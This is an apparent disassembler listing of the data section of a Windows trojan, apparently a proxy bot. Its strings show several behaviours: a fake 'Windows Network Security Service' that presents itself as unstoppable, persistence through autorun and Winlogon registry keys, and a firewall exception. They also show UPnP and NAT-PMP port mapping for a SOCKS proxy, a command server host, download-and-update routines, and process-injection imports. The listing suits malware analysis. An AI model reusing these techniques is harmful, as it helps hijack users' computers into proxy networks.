a000_tmp_0	db '000.tmp',0
aWnss__0	db 'wnss_',0
aOldDllS_0	db 'old DLL: <%s>',0Ah,0
aR_0		db 'r',0
aFileSWritten_0	db 'file <%s> written, wsz=%i',0Ah,0
aFileSCreated_0	db 'file <%s> created',0Ah,0
aFileSNotCrea_0	db 'file <%s> NOT created',0Ah,0
aWb_1		db 'wb+',0
aResourceHere_0	db 'resource here, size: %i',0Ah,0
a8001_0		db '#8001',0
aDlltestliste_3	db 'DLLTestListenThread: done...',0Ah,0
aDlltestliste_4	db 'DLLTestListenThread: accepting...',0Ah,0
aDlltestliste_5	db 'DLLTestListenThread: listening...',0Ah,0
aDlltestliste_6	db 'DLLTestListenThread: binding...',0Ah,0
aDlltestthrea_0	db 'DLLTestThread: pulsing...',0Ah,0
		db '**',0
aServicefixer_0	db 'ServiceFixerThread started.',0Ah,0
		db '" ',0
aRegisterserv_1	db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
aSetservicest_3	db 'SetServiceStatus(): stopped',0Ah,0
aSetservicest_4	db 'SetServiceStatus(): running',0Ah,0
aSetservicest_5	db 'SetServiceStatus(): start pending',0Ah,0
aServicectrld_0	db 'ServiceCtrlDispatcher()',0Ah,0
aWaitingForSt_0	db 'WAITING FOR STOP EVENT!',0Ah,0
aEventCreaton_0	db 'EVENT CREATON ERROR: %i',0Ah,0
aEventCreated_0	db 'EVENT CREATED.',0Ah,0
aWritingToHkc_0	db 'writing to HKCU/autorun key...',0Ah,0
aSoftwareMicr_3	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
aWritingToHkl_0	db 'writing to HKLM/autorun key...',0Ah,0
		db '*',0
aLoad_0		db 'load',0
aSoftwareMicr_4	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
		db ',',0
aUserinit_0	db 'Userinit',0
aSoftwareMicr_5	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
aStartupprogr_0	db 'StartupPrograms',0
aSystemCurren_2	db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
aRegreadCanTR_0	db 'RegRead(): can',27h,'t read key %s',0Ah,0
aRegreadReadI_0	db 'RegRead(): read %i bytes from %s (%s)',0Ah,0
aRegreadOpene_0	db 'RegRead(): opened %s',0Ah,0
a8fc4ddd4C51e_0	db '{8FC4DDD4-C51E-11DC-98A8-E49F55D89593}',0
aDescription_0	db 'Description',0
aDisplayname_0	db 'DisplayName',0
aLocalsystem_0	db 'LocalSystem',0
aObjectname_0	db 'ObjectName',0
aErrorcontrol_0	db 'ErrorControl',0
aStart_0	db 'Start',0
aType_0		db 'Type',0
aImagepath_0	db 'ImagePath',0
aSystemCurren_3	db 'SYSTEM\CurrentControlSet\Services\',0
aProvidesNetw_0	db 'Provides network security options for system administrators.  Thi'
		db 's service can not be stopped.',0
aServiceRegis_0	db 'service registered',0Ah,0
aWnss_0		db 'wnss',0
aStartingComm_0	db 'starting COMM thread...',0Ah,0
aNatpmpForwar_0	db 'NATPMP: forwarded to: %i',0Ah,0
aSocksPortI_0	db 'SOCKS port: %i',0Ah,0
aCanTBindList_0	db 'can',27h,'t bind listen socket!',0Ah,0
aListener____0	db 'listener...',0Ah,0
aInternalprog_0	db 'InternalProgramData',0
aSoftwareMicr_6	db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0
aConnectionCl_0	db 'connection closed.',0Ah,0
aDataExchange_0	db 'data exchange complete',0Ah,0
aTransferring_0	db 'transferring data...',0Ah,0
aConnectedToS_0	db 'connected to %s:%i',0Ah,0
aConnectionTo_0	db 'connection to %s:%i failed! %-( (%i)',0Ah,0
aConnectingTo_0	db 'connecting to %s:%i',0Ah,0
aSocksVIS_0	db 'socks v%i  [%s]',0Ah,0
aConnectionRe_0	db 'connection rejected (from [%s])',0Ah,0
aConnectionFr_0	db 'connection from [%s]',0Ah,0
a_win32__wnss_1	db '_win32__wnss_um__',0
aSystem_0	db 'SYSTEM',0
		db 0Dh,'                      ',0Dh,0
aISecondsLeft_0	db 0Dh,'%i seconds left   ',8,8,8,'.',0
aSrvWaitingIS_0	db 'Srv: waiting %i seconds...',0Ah,0
aSrvcommthrea_0	db 'SrvCommThread: done',0Ah,0
aSrvStartingUpd	db 'SRV: starting updater...',0Ah,0
aSrvUpgradeS	db 'SRV: UPGRADE <%s>',0Ah,0
aSrvIplist	db 'SRV: IPLIST',0Ah,0
aSrvBye		db 'SRV: BYE',0Ah,0
aSrvAckReject_1	db 'SRV: ACK rejected IPs failed',0Ah,0
aSrvAckReject_2	db 'SRV: ACK rejected IPs',0Ah,0
aSrvSendingRe_0	db 'SRV: sending rejected IPs failed',0Ah,0
aSrvSendingRe_1	db '* SRV: sending rejected IPs',0Ah,0
aSrvAckHandsh_0	db 'SRV: ACK handshacking failed',0Ah,0
aSrvAckHandsh_1	db 'SRV: ACK handshacking',0Ah,0
aSrvHandshaki_1	db 'SRV: handshaking failed.',0Ah,0
aSrvRip?I_0	db 'SRV: rip? %i',0Ah,0
aSrvHandshaki_2	db 'SRV: handshaking...',0Ah,0
aSrvConnectin_0	db 'SRV: connecting failed.',0Ah,0
aSrvConnectin_1	db 'SRV: connecting...',0Ah,0
aSrvSI_0	db 'SRV: [%s:%i]',0Ah,0
aMyPortI_0	db 'my port [%i]',0Ah,0
aDep_mvl0an7__0	db 'dep.mvl0an7.com',0
aAuthorizedIp_0	db 'authorized IP #%i [%s]',0Ah,0
aRunningSS____0	db 'running %s (%s)...',0Dh,0Ah,0
		db '" "',0
aUpdate_2	db '*update "',0
aMsssx_0	db 'msssx',0
aDownloadedTo_0	db 'downloaded to: <%s>',0Ah,0
aMsss_0		db 'msss',0
aUpdateUrlS_0	db 'UPDATE URL: <%s>',0Ah,0
aDownloadedSS_0	db 'downloaded [%s] --> %s',0Dh,0Ah,0
aDownloadedFa_0	db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0
aDownloadingS_0	db 'downloading [%s] --> %s',0Dh,0Ah,0
aFopenS____0	db 'fopen(%s)...',0Ah,0
aWb_2		db 'wb',0
aInternetopen_1	db 'InternetOpenUrl(): %i',0Ah,0
aInternetopen_2	db 'InternetOpen(): %i',0Ah,0
aMsdownloader_0	db 'msdownloader',0
		db ' ',0
aCWindowsSyst_0	db 'C:\WINDOWS\system32\wnss.exe',0
		db '"',0
a_win32__wnss_2	db '_win32__wnss_sm__',0
a_win32__wnss_3	db '_win32__wnss_sdm__',0
aNatPmpReques_2	db 'NAT-PMP request #%i - port: [%i]',0Ah,0
aNatPmpFwdReq_0	db 'NAT-PMP fwd request #%i - ok',0Ah,0
aReceivingNat_1	db 'receiving NAT-PMP fwd request #%i...',0Ah,0
aSetsockoptNa_1	db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
aSendingNatPm_0	db 'sending NAT-PMP fwd request #%i...',0Ah,0
aRouterIpS_0	db 'router ip: [%s]',0Ah,0
aNatPmpReques_3	db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
aNatPmpReques_4	db 'NAT-PMP request #%i - ok',0Ah,0
aReceivingNat_2	db 'receiving NAT-PMP request #%i...',0Ah,0
aSetsockoptNa_2	db 'setsockopt NAT-PMP request #%i...',0Ah,0
aSendingNatPm_1	db 'sending NAT-PMP request #%i...',0Ah,0
aDefaultGatew_0	db 'default gateway: [%s]',0Ah,0
aIupnpDiscove_5	db 'IUPnP discovery request #%i: ok.',0Ah,0
aControlurl_0	db '<controlURL>',0
aService_1	db '</service>',0
aService_2	db '<service>',0
aUrnSchemasUp_0	db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscove_6	db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
aLocationS_0	db 'location: <%s>',0Ah,0
aIupnpDiscove_7	db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
aIupnpDiscove_8	db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
aLocation_0	db 'location',0
aIupnpDiscove_9	db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
aSchemasUpnpO_0	db 'schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscov_10	db 'IUPnP discovery request #%i -- checking...',0Ah,0
aReceivingIup_0	db 'receiving IUPnP discovery request #%i...',0Ah,0
aSetsockoptIu_0	db 'setsockopt IUPnP discovery request #%i...',0Ah,0
aMSearchHttp1_0	db 'M-SEARCH * HTTP/1.1',0Dh,0Ah
		db 'Host: 239.255.255.250:1900',0Dh,0Ah
		db 'ST: upnp:rootdevice',0Dh,0Ah
		db 'Man: "ssdp:discover"',0Dh,0Ah
		db 'MX: 3',0Dh,0Ah
		db 0Dh,0Ah,0
aSendingIupnp_0	db 'sending IUPnP discovery request #%i...',0Ah,0
aXbind____0	db 'xbind...',0Ah,0
aShit_0		db 'shit!',0Ah,0
a239_255_255__0	db '239.255.255.250',0
aHttpAddmapRe_2	db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
aHttpAddmapRe_3	db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
aHttpAddmapRe_4	db 'HTTP AddMap request: [%s:%i]...',0Ah,0
aPostSHttp1_1_0	db 'POST %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aMPostSHttp1__0	db 'M-POST %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aSEnvelopeXml_0	db '<s:Envelope',0Dh,0Ah
		db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
		db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
		db '<s:Body>',0Dh,0Ah
		db '<u:AddPortMapping',0Dh,0Ah
		db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
		db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
		db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
		db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
		db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
		db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
		db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
		db 'ption>',0Dh,0Ah
		db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
		db '</u:AddPortMapping>',0Dh,0Ah
		db '</s:Body>',0Dh,0Ah
		db '</s:Envelope>',0
a200_0		db '200',0
		db 0Ah,0
aHttpDiscover_1	db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
aGetSHttp1_1H_0	db 'GET %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
		db 0Dh,0Ah,0
aHttpDiscover_2	db 'HTTP discovery request: [%s:%i]...',0Ah,0
aHttp_0		db 'http://',0
a__0		db '.',0
a6ea9b038C801_0	db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0
aSystemCurren_4	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aWindowsNetwo_0	db 'Windows Network Security Service',0
aEnabled_0	db ':*:Enabled:',0
aHandshakeBad_0	db 'Handshake: bad version (%i)',0Ah,0
aHandshakeBad_1	db 'Handshake: bad packed (%i)',0Ah,0
aHandshakeRec_0	db 'Handshake: recv() error',0Ah,0
aProtorecvDat_0	db 'protorecv(): data size: %i (of %i)',0Ah,0
aPktrecvPacke_0	db 'PktRecv(): packetId: 0x%03x',0Ah,0
aPktrecvInval_0	db 'PktRecv(): invalid signature (%i)',0Ah,0
aPktsendIIByt_0	db 'PktSend(%i): %i bytes',0Ah,0
aSIsS_0		db '%s is %s',0Ah,0
aWinsock2_xIn_0	db 'WinSock 2.x initialized.',0Ah,0
aWinsock1_1In_0	db 'WinSock 1.1 initialized.',0Ah,0
aA_0		db 'a',0
aPm_0		db 'PM',0
aAm_0		db 'AM',0
a02i02i02iIII_0	db '%02i/%02i/%02i %i:%i:%i%s',0
aS_3		db '%s',0
		align 4
		dd 0FFFFFF00h, 0FFh, 40721A00h,	0FFFFFF00h, 0FFh, 40741B00h
		dd 0FFFFFF00h, 0FFh, 40751E00h,	0FFFFFF00h, 0FFh, 40766D00h
		dd 0FFFFFF00h, 407988FFh, 4079A300h, 0FFFFFF00h, 0FFh
		dd 407B1D00h, 0FFFFFF00h, 407C45FFh, 407C6000h,	400000h
		dd 0FFFFFF00h, 0FFh, 4082BE00h,	4083EC00h, 4083A200h, 2	dup(4083D200h)
		dd 5 dup(4083A200h), 4083DF00h,	4083A200h, 2 dup(4083B200h)
		dd 40842000h, 4083D200h, 4083F900h, 3 dup(4083C200h), 4083A200h
		dd 40841300h, 3	dup(4083A200h),	4083B200h, 4083D200h, 40844700h
		dd 4083B200h, 10h dup(4083D200h), 4083A200h, 4083D200h
		dd 10h dup(4083A200h), 4083B200h, 0Bh dup(4083A200h), 4083D200h
		dd 4083A200h, 4083B200h, 4083D200h, 40843A00h, 2 dup(4083A200h)
		dd 40842D00h, 4083A200h, 4083F900h, 2 dup(40840600h), 4083F900h
		dd 4083A200h, 4083D200h, 4083EC00h, 4 dup(4083A200h), 0Fh dup(40841300h)
		dd 3 dup(4083A200h), 4083B200h,	8 dup(4083A200h), 4083DF00h
		dd 2D2B2000h, 3023h, 100h, 200h, 400h, 800h, 1000h, 0
		dd 6C6A6800h, 4C7A74h, 4E4F4300h, 244E49h, 4F4E4F43h, 245455h
		dd 0
		dd 0FFFFFF00h, 0FFh, 14h dup(0)
		dd 10001002h, 3	dup(10001000h),	30013000h, 30003000h, 10003000h
		dd 8 dup(10001000h), 40001000h,	7 dup(80008000h), 3008000h
		dd 4 dup(3000300h), 80000300h, 3 dup(80008000h), 3 dup(0A000A00h)
		dd 0Ah dup(8000800h), 3	dup(80008000h),	3 dup(6000600h)
		dd 0Ah dup(4000400h), 2	dup(80008000h),	1000h, 40h dup(0)
		dd 40A0C700h, 3	dup(40A3F700h),	4 dup(40A0C700h), 40A3F700h
		dd 409D4C00h, 409DBB00h, 3 dup(40A0C700h), 40A3F700h, 409DBB00h
		dd 4 dup(40A3F700h), 40A18900h,	409F5300h, 40A2C100h, 2	dup(40A3F700h)
		dd 40A31F00h, 40A3F700h, 409F5300h, 2 dup(40A3F700h), 409F5300h
		dd 756E2800h, 296C6Ch, 20202000h, 7 dup(20202020h), 30300020h
		dd 7 dup(30303030h), 3030h, 2 dup(0)
		dd 100h, 200h, 0
		dd 2E001E0h, 4E003E0h, 6E005E0h, 8E007E0h, 0AE009E0h, 0CE00BE0h
		dd 0EE00DE0h, 10E00FE0h, 12E011E0h, 14E013E0h, 16E015E0h
		dd 18E017E0h, 1AE019E0h, 1CE01BE0h, 1EE01DE0h, 20E01FE0h
		dd 22E021E0h, 24E023E0h, 26E025E0h, 28E027E0h, 2AE029E0h
		dd 2CE02BE0h, 2EE02DE0h, 30E02FE0h, 32E031E0h, 34E033E0h
		dd 36E035E0h, 38E037E0h, 3AE039E0h, 3CE03BE0h, 3EE03DE0h
		dd 40E03FE0h, 42E041E0h, 44E043E0h, 46E045E0h, 48E047E0h
		dd 4AE049E0h, 4CE04BE0h, 4EE04DE0h, 50E04FE0h, 52E051E0h
		dd 54E053E0h, 56E055E0h, 58E057E0h, 5AE059E0h, 5CE05BE0h
		dd 5EE05DE0h, 60E05FE0h, 62E061E0h, 64E063E0h, 66E065E0h
		dd 68E067E0h, 6AE069E0h, 6CE06BE0h, 6EE06DE0h, 70E06FE0h
		dd 72E071E0h, 74E073E0h, 76E075E0h, 78E077E0h, 7AE079E0h
		dd 7CE07BE0h, 7EE07DE0h, 80E07FE0h, 82E081E0h, 84E083E0h
		dd 86E085E0h, 88E087E0h, 8AE089E0h, 8CE08BE0h, 8EE08DE0h
		dd 90E08FE0h, 92E091E0h, 94E093E0h, 96E095E0h, 98E097E0h
		dd 9AE099E0h, 9CE09BE0h, 9EE09DE0h, 0A0E09FE0h,	0A2E0A1E0h
		dd 0A4E0A3E0h, 0A6E0A5E0h, 0A8E0A7E0h, 0AAE0A9E0h, 0ACE0ABE0h
		dd 0AEE0ADE0h, 0B0E0AFE0h, 0B2E0B1E0h, 0B4E0B3E0h, 0B6E0B5E0h
		dd 0B8E0B7E0h, 0BAE0B9E0h, 0BCE0BBE0h, 0BEE0BDE0h, 0C0E0BFE0h
		dd 0C2E0C1E0h, 0C4E0C3E0h, 0C6E0C5E0h, 0C8E0C7E0h, 0CAE0C9E0h
		dd 0CCE0CBE0h, 0CEE0CDE0h, 0D0E0CFE0h, 0D2E0D1E0h, 0D4E0D3E0h
		dd 0D6E0D5E0h, 0D8E0D7E0h, 0DAE0D9E0h, 0DCE0DBE0h, 0DEE0DDE0h
		dd 0E0E0DFE0h, 0E2E0E1E0h, 0E4E0E3E0h, 0E6E0E5E0h, 0E8E0E7E0h
		dd 0EAE0E9E0h, 0ECE0EBE0h, 0EEE0EDE0h, 0F0E0EFE0h, 0F2E0F1E0h
		dd 0F4E0F3E0h, 0F6E0F5E0h, 0F8E0F7E0h, 0FAE0F9E0h, 0FCE0FBE0h
		dd 0FEE0FDE0h, 0E0FFE0h, 6E002800h, 6C007500h, 29006C00h
		dd 0
		dd 32313000h, 36353433h, 61393837h, 65646362h, 31300066h
		dd 35343332h, 39383736h, 44434241h, 4645h, 0
		dd 24000000h, 40h, 59000000h, 40h, 0C3880000h, 40h, 97D78400h
		dd 0E0800041h, 41C37937h, 56E1743h, 93B8B5B5h, 3FF9F546h
		dd 384F03E9h, 301D324Dh, 827748F9h, 73BF3C5Ah, 154FDD7Fh
		dd 75h,	97D78400h, 41h,	0F0000000h, 3Fh, 0
		dd 32313000h, 36353433h, 41393837h, 45444342h, 31300046h
		dd 35343332h, 39383736h, 64636261h, 49006665h, 6900464Eh
		dd 4E00666Eh, 6E004E41h, 6E61h,	40BE0800h, 40BE2300h, 40BDFF00h
		dd 40BE2300h, 40BDEA00h, 40BE2300h, 40BDF600h, 2 dup(40BE2300h)
		dd 40BE1100h, 2D2D2000h, 72657420h, 616E696Dh, 676E6974h
		dd 6973000Ah, 6C616E67h, 74002320h, 696D7265h, 6974616Eh
		dd 72206E6Fh, 65757165h, 69007473h, 6C61766Eh, 73206469h
		dd 61726F74h, 61206567h, 73656363h, 6E690073h, 72726574h
		dd 69747075h, 69006E6Fh, 6C61766Eh, 65206469h, 75636578h
		dd 6C626174h, 6F632065h, 61006564h, 68746972h, 6974656Dh
		dd 72652063h, 726F72h, 726F6261h, 74h, 3 dup(0)
		dd 3000h, 2E0000h, 13h dup(0)
		dd 5B5B5A00h, 5B5B5B5Bh, 5B5B5Bh, 58h dup(0)
		dd 5000h, 0Dh dup(0)
		dd 800h, 1000h,	2000h, 4000h, 8000h, 10000h, 20000h, 40000h
		dd 2 dup(0)
		dd 93052000h, 19h, 2 dup(0)
		dd 41283C00h, 41282400h, 41280C00h, 4127F400h, 1Bh dup(0)
		dd 100h, 0
		dd 4112D400h, 4112D500h, 4 dup(4112D400h), 4112B400h, 0Ah dup(0)
		dd 80200h, 100h, 41132000h, 41132100h, 4 dup(41132000h)
		dd 41130000h, 0Ah dup(0)
		dd 80200h, 200h, 41123C00h, 41128C00h, 3 dup(41123C00h)
		dd 41136C00h, 41134C00h, 0Ah dup(0)
		dd 41128C00h, 4112D800h, 41132400h, 0FDh dup(0)
		dd 0FFFFFF00h, 5FFh, 0BC0h, 1D00h, 4C0h, 9600h,	4C0h, 8D00h
		dd 8C0h, 8E00h,	8C0h, 8F00h, 8C0h, 9000h, 8C0h,	9100h
		dd 8C0h, 9200h,	8C0h, 9300h, 8C0h, 7 dup(0)
		dd 40000h, 2Ch dup(0)
		dd 40FB7400h, 40FB8200h, 0
		dd 300h, 40FE5E00h, 0Fh	dup(0)
		dd 40FE5E00h, 0Fh dup(0)
		dd 40FE5E00h, 0Fh dup(0)
		dd 40FE5E00h, 0Fh dup(0)
		dd 7 dup(4101E400h), 7F7F7F00h,	2 dup(7F7F7F7Fh), 7F7F7Fh
		dd 4101E500h, 2	dup(4101E400h),	0
		dd 0F0000000h, 7Fh, 0F8000000h,	7Fh, 90000000h,	3Ch, 40000000h
		dd 3Eh,	32000000h, 40h,	0
		dd 11A8400h, 2 dup(0)
		dd 122AE00h, 11CC400h, 11BE400h, 2 dup(0)
		dd 124B200h, 11E2400h, 11C4800h, 2 dup(0)
		dd 1251C00h, 11E8800h, 11CA800h, 2 dup(0)
		dd 1253C00h, 11EE800h, 11CB000h, 2 dup(0)
		dd 1259800h, 11EF000h, 5 dup(0)
		dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h
		dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h
		dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h
		dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h
		dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h
		dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h
		dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h
		dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h
		dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h
		dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h
		dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h
		dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h
		dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h
		dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h
		dd 127BA00h, 127CC00h, 127D800h, 0
		dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h
		dd 1232E00h, 1234A00h, 1235A00h, 1236E00h, 1238000h, 1239000h
		dd 123A600h, 123BC00h, 123D400h, 123EC00h, 123FC00h, 1240E00h
		dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h
		dd 0
		dd 7300h, 7480h, 1780h,	1580h, 380h, 1280h, 0C80h, 980h
		dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h
		dd 3480h, 680h,	3980h, 0B80h, 1480h, 1180h, 6F80h, 80h
		dd 1252800h, 0
		dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0
		dd 11F0400h, 11F1400h, 11F3000h, 11F4800h, 11F6000h, 11F7000h
		dd 11F8000h, 11F9600h, 11FA400h, 11FBA00h, 11FCA00h, 11FDA00h
		dd 11FEC00h, 1200000h, 1200E00h, 1202000h, 1202800h, 1203E00h
		dd 1204E00h, 1205C00h, 1206E00h, 1207E00h, 1208C00h, 1209C00h
		dd 120B000h, 120BC00h, 120D200h, 120EC00h, 120FA00h, 1211000h
		dd 1211C00h, 1212800h, 1213800h, 1214400h, 1215E00h, 1217400h
		dd 1218200h, 1219200h, 121A400h, 121B400h, 121C400h, 121D800h
		dd 121EA00h, 121FE00h, 1221000h, 1222600h, 1223C00h, 1224A00h
		dd 1225E00h, 1227A00h, 1228C00h, 1229C00h, 125A400h, 125B400h
		dd 125C200h, 125D200h, 125E200h, 125F000h, 1260200h, 1260E00h
		dd 1261C00h, 1262A00h, 1263600h, 1264400h, 1265000h, 1265C00h
		dd 1266C00h, 1268400h, 1269200h, 1269E00h, 126B400h, 126BE00h
		dd 126CC00h, 126E800h, 1270200h, 1271000h, 1272200h, 1273400h
		dd 1274C00h, 1276600h, 1277600h, 1278600h, 1279200h, 127A200h
		dd 127BA00h, 127CC00h, 127D800h, 0
		dd 122BC00h, 122CE00h, 122E000h, 122EE00h, 122FE00h, 1230E00h
		dd 1232E00h, 1234A00h, 1235A00h, 1236E00h, 1238000h, 1239000h
		dd 123A600h, 123BC00h, 123D400h, 123EC00h, 123FC00h, 1240E00h
		dd 1241E00h, 1243200h, 1245000h, 1246E00h, 1248600h, 1249A00h
		dd 0
		dd 7300h, 7480h, 1780h,	1580h, 380h, 1280h, 0C80h, 980h
		dd 480h, 280h, 0D80h, 180h, 0F80h, 1080h, 1380h, 0A80h
		dd 3480h, 680h,	3980h, 0B80h, 1480h, 1180h, 6F80h, 80h
		dd 1252800h, 0
		dd 1254A00h, 1255A00h, 1256E00h, 1258400h, 0
		db    0
		db 2 dup(0), 47h
aEttickcount	db 'etTickCount',0
		db    0
		db 2 dup(0), 49h
aNitializecriti	db 'nitializeCriticalSection',0
		db 2 dup(0), 45h
aNtercriticalse	db 'nterCriticalSection',0
		db    0
		db 2 dup(0), 4Ch
aEavecriticalse	db 'eaveCriticalSection',0
		db    0
		db 2 dup(0), 47h
aEtstdhandle	db 'etStdHandle',0
		db    0
		db 2 dup(0), 47h
aEtlocaltime	db 'etLocalTime',0
		db    0
		db 2 dup(0), 47h
aEtmodulefilena	db 'etModuleFileNameA',0
		align 4
		db    0
aLocalalloc_0	db 'LocalAlloc',0
		db    0
		db 2 dup(0), 43h
aReatefilemappi	db 'reateFileMappingA',0
		align 4
		db    0
aGetlasterror_2	db 'GetLastError',0
		align 4
		db    0
aMapviewoffil_0	db 'MapViewOfFile',0
		align 4
		db    0
aUnmapviewoff_0	db 'UnmapViewOfFile',0
		db 2 dup(0), 4Fh
aPenfilemapping	db 'penFileMappingA',0
		dd 43000000h, 65736F6Ch, 646E6148h, 656Ch, 6D6F4300h, 65726170h
		dd 69727453h, 41676Eh, 53000000h, 7065656Ch, 49000000h
		dd 7265746Eh, 6B636F6Ch, 78456465h, 6E616863h, 6567h, 65724300h
		dd 4D657461h, 78657475h, 41h, 65704F00h, 74754D6Eh, 417865h
		dd 43000000h, 74616572h, 6F725065h, 73736563h, 41h, 74655300h
		dd 7473614Ch, 6F727245h, 72h, 6C654400h, 46657465h, 41656C69h
		dd 47000000h, 65547465h, 6150706Dh, 416874h, 47000000h
		dd 65547465h, 6946706Dh, 614E656Ch, 41656Dh, 43000000h
		dd 4679706Fh, 41656C69h, 53000000h, 69467465h, 7441656Ch
		dd 62697274h, 73657475h, 41h, 746E4900h, 6F6C7265h, 64656B63h
		dd 68637845h, 65676E61h, 646441h, 45000000h, 50746978h
		dd 65636F72h, 7373h, 69615700h,	726F4674h, 676E6953h, 624F656Ch
		dd 7463656Ah, 6C000000h, 63727473h, 4169706Dh, 6C000000h
		dd 63727473h, 416E7970h, 43000000h, 74616572h, 65764565h
		dd 41746Eh, 53000000h, 76457465h, 746E65h, 57000000h, 46746961h
		dd 754D726Fh, 7069746Ch, 624F656Ch, 7463656Ah, 73h, 74654700h
		dd 656C6946h, 72747441h, 74756269h, 417365h, 52000000h
		dd 74657365h, 6E657645h, 74h, 6E694600h, 73655264h, 6372756Fh
		dd 4165h, 7A695300h, 52666F65h,	756F7365h, 656372h, 4C000000h
		dd 5264616Fh, 756F7365h, 656372h, 4C000000h, 526B636Fh
		dd 756F7365h, 656372h, 47000000h, 75437465h, 6E657272h
		dd 6F725074h, 73736563h, 56000000h, 75747269h, 6C416C61h
		dd 45636F6Ch, 78h, 74654700h, 75646F4Dh, 6148656Ch, 656C646Eh
		dd 41h,	74654700h, 636F7250h, 72646441h, 737365h, 57000000h
		dd 65746972h, 636F7250h, 4D737365h, 726F6D65h, 79h, 65724300h
		dd 52657461h, 746F6D65h, 72685465h, 646165h, 4F000000h
		dd 506E6570h, 65636F72h, 7373h,	74654700h, 74697845h, 65646F43h
		dd 65726854h, 6461h, 65724300h,	54657461h, 686C6F6Fh, 33706C65h
		dd 616E5332h, 6F687370h, 74h, 6F725000h, 73736563h, 69463233h
		dd 747372h, 50000000h, 65636F72h, 32337373h, 7478654Eh
		dd 47000000h, 6F437465h, 6E616D6Dh, 6E694C64h, 4B004165h
		dd 454E5245h, 2E32334Ch, 6C6C64h, 52000000h, 72436765h
		dd 65746165h, 4579654Bh, 4178h,	67655200h, 56746553h, 65756C61h
		dd 417845h, 52000000h, 6C436765h, 4B65736Fh, 7965h, 67655200h
		dd 6E65704Fh, 4579654Bh, 4178h,	67655200h, 656C6544h, 654B6574h
		dd 4179h, 696E4900h, 6C616974h,	53657A69h, 72756365h, 44797469h
		dd 72637365h, 6F747069h, 72h, 74655300h, 75636553h, 79746972h
		dd 63736544h, 74706972h, 6144726Fh, 6C63h, 74654700h, 72657355h
		dd 656D614Eh, 41h, 67655200h, 72657551h, 6C615679h, 78456575h
		dd 41h,	65704F00h, 4D43536Eh, 67616E61h, 417265h, 4F000000h
		dd 536E6570h, 69767265h, 416563h, 43000000h, 65736F6Ch
		dd 76726553h, 48656369h, 6C646E61h, 65h, 65755100h, 65537972h
		dd 63697672h, 61745365h, 737574h, 43000000h, 676E6168h
		dd 72655365h, 65636976h, 666E6F43h, 416769h, 43000000h
		dd 676E6168h, 72655365h, 65636976h, 666E6F43h, 41326769h
		dd 53000000h, 74726174h, 76726553h, 41656369h, 43000000h
		dd 74616572h, 72655365h, 65636976h, 41h, 6C654400h, 53657465h
